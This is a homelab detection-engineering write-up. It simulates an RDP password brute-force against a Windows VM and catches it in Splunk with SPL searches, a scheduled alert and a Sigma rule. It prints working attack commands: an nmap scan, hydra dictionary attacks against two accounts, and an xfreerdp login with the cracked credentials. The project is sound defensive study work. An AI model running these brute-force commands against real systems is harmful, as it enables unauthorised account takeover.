Full Kill Chain · Homelab

RDP Brute-Force
→ Compromise → Splunk Breach Detection

Simulated attack · Account compromise · Event ID 4625 + 4624 · Sigma Rule

🗓 October 2026 ⚙ Splunk Enterprise 10.4.2 🖥 Isolated Lab VMs 🏷 Study Project
AttackerKali Linux — 192.168.100.134 (THC-Hydra, FreeRDP, Nmap)
TargetWindows homelabvm — 192.168.100.135, RDP 3389
SIEMSplunk Enterprise 10.4.2 (index=main, sourcetype=WinEventLog:Security)
Account A — cyber🛡 Resisted — 24 failures, account locked out, 0 cracked
Account B — labvictim💥 Compromised — cracked on 5th guess (Password1)
Detection✅ 24 × 4625 failures + 3 × 4624 breach logons detected, attacker IP attributed
Splunk SPL Event ID 4625 + 4624 RDP / T1021.001 Hydra Sigma Rule MITRE ATT&CK Account Compromise Detection Engineering
View on GitHub All Projects

What This Project Demonstrates

A complete attack-and-detect kill chain — not just detection theory. I ran a real RDP dictionary attack against two accounts on a Windows homelab VM. One account resisted (good password + lockout policy); one was compromised (weak password, no lockout). Splunk caught the entire chain: the noisy brute-force failures on account cyber, the quiet success on labvictim, and the subsequent breach logon over RDP.

Key insight: The difference between a blocked attack and a breach was password strength and account lockout — nothing else. The SIEM's most important job isn't catching the noisy failures. It's recognising the quiet Event ID 4624 success that follows them.

All activity was performed on isolated VMs on a private host-only network. The compromised account (labvictim) is a dedicated, disposable local account created solely for this exercise.

Environment Setup

┌──────────────────────────┐   RDP brute-force (port 3389)    ┌─────────────────────────┐
│  Kali Linux               │  ──────────────────────────────▶ │  Windows "homelabvm"     │
│  192.168.100.134          │      Hydra dictionary attack      │  192.168.100.135         │
│                           │                                   │                          │
│  Tools: Nmap, Hydra,      │ ◀──────────────────────────────  │  Splunk Universal        │
│  FreeRDP, Splunk :8000    │    4625 + 4624 forwarded :9997    │  Forwarder active        │
└──────────────────────────┘                                    └─────────────────────────┘

Attacker (Kali Linux)

  • THC-Hydra for dictionary brute-force
  • FreeRDP for interactive RDP session
  • Nmap for port discovery
  • Splunk Enterprise 10.4.2 (SIEM)

Target (Windows homelabvm)

  • Account cyber — strong password, lockout enabled
  • Account labvictim — Password1, no lockout
  • RDP on port 3389, NLA disabled
  • Splunk Universal Forwarder → :9997

The Attack: Two Targets, Two Outcomes

The attack followed three steps: recon → brute-force account cyber (blocked) → brute-force account labvictim (compromised) → live RDP session.

Step 1 · Recon — Nmap port scan
kali@kali:~$ sudo nmap -sV -p 3389 192.168.100.135

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services

RDP confirmed open. Attack viable.

Step 2 · Brute-force account "cyber" — blocked
kali@kali:~$ hydra -l cyber -P ~/password.txt -V -t 1 rdp://192.168.100.135

[ATTEMPT] login: "cyber" - pass: "password123" → FAIL
[ATTEMPT] login: "cyber" - pass: "admin"       → FAIL
...
1 target completed, 0 valid passwords found
[INFO] Account locked out after repeated failures

Strong password + account lockout policy stopped this attack cold. 24 × Event ID 4625 generated and forwarded to Splunk.

Step 3 · Brute-force account "labvictim" — COMPROMISED
kali@kali:~$ hydra -l labvictim -P ~/password.txt -V -t 1 rdp://192.168.100.135

[ATTEMPT] login: "labvictim" - pass: "admin"      → FAIL
[ATTEMPT] login: "labvictim" - pass: "qwerty"     → FAIL
[ATTEMPT] login: "labvictim" - pass: "letmein"    → FAIL
[ATTEMPT] login: "labvictim" - pass: "welcome"    → FAIL
[3389][rdp] host: 192.168.100.135   login: labvictim   password: Password1
1 target completed, 1 valid password found

Cracked on the 5th guess. Password1 is in every major wordlist. No lockout policy = unlimited attempts.

Step 4 · Interactive RDP session — attacker on the machine
kali@kali:~$ xfreerdp /u:labvictim /p:Password1 /v:192.168.100.135

Connection established. Interactive RDP session active.

Live desktop access achieved. Windows logged Event ID 4624 (successful logon, Logon Type 10 — RemoteInteractive) — the breach event that Splunk must catch.

Splunk SIEM Detection: 6 SPL Searches

Six progressively refined SPL searches cover the full kill chain — from the first failed attempt to the compromise correlation that links failures to the breach.

Search 1 · Baseline — all failed logons
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625

Returns all 24 Event ID 4625 records. Validates pipeline and establishes attack volume.

Search 2 · Isolate RDP / network brute-force
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625
  (Logon_Type=3 OR Logon_Type=10)
| table _time, Account_Name, Logon_Type, Source_Network_Address, Failure_Reason

Filters to network logon types. Every attempt shows source 192.168.100.134, ~2-second cadence — automated tool fingerprint.

Search 3 · Attacker fingerprint — failures by account + source
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625
| stats count AS failed_attempts, min(_time) AS first_seen, max(_time) AS last_seen
    by Account_Name, Source_Network_Address
| sort - failed_attempts

Attribution table: 24 failures against cyber from 192.168.100.134 with timestamps. IR deliverable.

Search 4 · Burst detection — alert logic (≥5/min)
index=main host=homelabvm sourcetype="WinEventLog:Security" EventCode=4625
| bucket _time span=1m
| stats count AS attempts_per_min by _time, Source_Network_Address
| where attempts_per_min >= 5

Fires within the first minute of the attack. This alert can trigger before any password is found.

Search 5 · The breach — successful logon from attacker (4624)
index=main host=homelabvm sourcetype="WinEventLog:Security"
  EventCode=4624 Source_Network_Address=192.168.100.134

Returns 3 × Event ID 4624 from the attacker's IP — the breach logons by labvictim. This is the highest-severity alert in the chain.

Search 6 · Compromise correlation — failures THEN success from same source
index=main host=homelabvm sourcetype="WinEventLog:Security"
  (EventCode=4625 OR EventCode=4624)
| stats count(eval(EventCode=4625)) AS failures,
         count(eval(EventCode=4624)) AS successes,
         values(Account_Name) AS accounts by Source_Network_Address
| where failures >= 5 AND successes >= 1

The kill-chain query. Links the brute-force noise to a subsequent success from the same IP — the definitive compromise indicator. Result: 192.168.100.134 → 24 failures + 3 successes across accounts [cyber, labvictim].

Portable Detection Artifacts

Splunk Scheduled Alert (savedsearches.conf)

Drop-in Splunk stanza. Runs every 5 minutes, fires when ≥5 failed network logons from a single source in the last minute. Email action configured.

# Drop into $SPLUNK_HOME/etc/system/local/savedsearches.conf

[RDP Brute-Force Detected - 4625 Burst]
search = index=main sourcetype="WinEventLog:Security" EventCode=4625
    (Logon_Type=3 OR Logon_Type=10)
  | bucket _time span=1m
  | stats count AS attempts by _time, Source_Network_Address, Account_Name
  | where attempts >= 5
cron_schedule   = */5 * * * *
dispatch.earliest_time = -5m
alert.severity = 4
action.email   = 1

Sigma Rule (vendor-neutral)

Portable Sigma rule convertible to Elastic, Sentinel, QRadar, or any Sigma-compatible backend via sigma-cli.

title: RDP Brute-Force - Multiple Failed Logons from Single Source
status: experimental
author: Sagar Bidari
date: 2026/10/02
tags:
  - attack.credential_access
  - attack.t1110.001
  - attack.t1021.001
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4625
    LogonType:
      - 3
      - 10
  timeframe: 1m
  condition: selection | count() by IpAddress >= 5
falsepositives:
  - Service accounts with stale cached credentials
  - Misconfigured apps retrying failed logons
level: high

Investigation Results

Account "cyber" — attack blocked Strong password + account lockout stopped the brute-force entirely. 24 × 4625 generated, 0 valid passwords found. The alert fired within the first minute.
Account "labvictim" — COMPROMISED on 5th guess Password1 was the 5th entry in the wordlist. No lockout policy = unlimited attempts. Interactive RDP session established from the attacker's Kali machine.
3 × Event ID 4624 from attacker IP — breach confirmed in Splunk All three successful logons by labvictim from 192.168.100.134 were captured. Search 5 isolates them cleanly from legitimate authentication traffic.
Compromise correlation query catches the full kill chain Search 6 links the brute-force failures to the subsequent success in a single result row: same source IP, failures ≥ 5 AND successes ≥ 1. This is the definitive IR query.
NLA bypass required — configuration insight Hydra needed NLA disabled to reach the logon stage. Enabling NLA eliminates the attack surface entirely — the 4625 signal never appears for unauthenticated brute-force attempts.

Technique Mapping

Tactic Technique ID Observed
Reconnaissance Network Service Discovery T1046 Nmap -sV -p 3389 confirms RDP exposure
Credential Access Brute Force: Password Guessing T1110.001 Hydra dictionary attack against both accounts
Initial Access / Persistence Valid Accounts T1078 Cracked labvictim/Password1 used for live RDP session
Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 FreeRDP session established to compromised account

How to Harden Against This Attack

Enforce account lockout policy — no exceptions The cyber account survived because it had lockout. labvictim was cracked because it didn't. Group Policy: lock accounts after 5 failures, 30-minute lockout window. Apply to every account including service accounts.
Use strong, unique passwords — not dictionary words Password1 is attempt #5 in standard wordlists. A randomly generated 16-character password makes dictionary attacks computationally infeasible regardless of lockout policy.
Enable Network Level Authentication (NLA) NLA requires pre-authentication before any logon attempt registers. Enabling it stops Hydra-style brute-force tools before they can generate a single 4625 event.
Never expose RDP directly — use a VPN or RD Gateway Port 3389 is one of the most aggressively scanned ports on the internet. Restrict inbound 3389 to known management IPs. Put remote access behind a VPN or Zero Trust proxy.
Deploy both the burst alert AND the breach alert Search 4 catches the noise early. Search 5 catches the success. Search 6 (compromise correlation) gives you the complete IR picture in one query. All three belong in your Splunk alert inventory.
Require MFA on all remote access Even with a cracked password, MFA stops account takeover at the gate. Conditional access + device compliance checks add further layers before any RDP session can be established.

What This Lab Taught Me

Having two accounts with deliberately different security postures made this far more instructive than a single-account lab. Seeing cyber resist and labvictim fold on the fifth attempt makes the defence recommendations concrete rather than theoretical — those aren't just best practices, they're the exact controls that would have prevented the breach.

The compromise correlation query (Search 6) was the most valuable analytical outcome. Linking the 4625 failures to the 4624 success from the same source IP in a single SPL search is the kind of detection logic that turns a SIEM from a log viewer into an incident detection platform.

The NLA finding reinforced that controls at different layers compound. Lockout stops unlimited attempts. Strong passwords stop dictionary attacks. NLA stops pre-authentication brute-force entirely. MFA stops credential-based compromise even after a successful crack. Each layer independently reduces risk; together they make this class of attack nearly infeasible.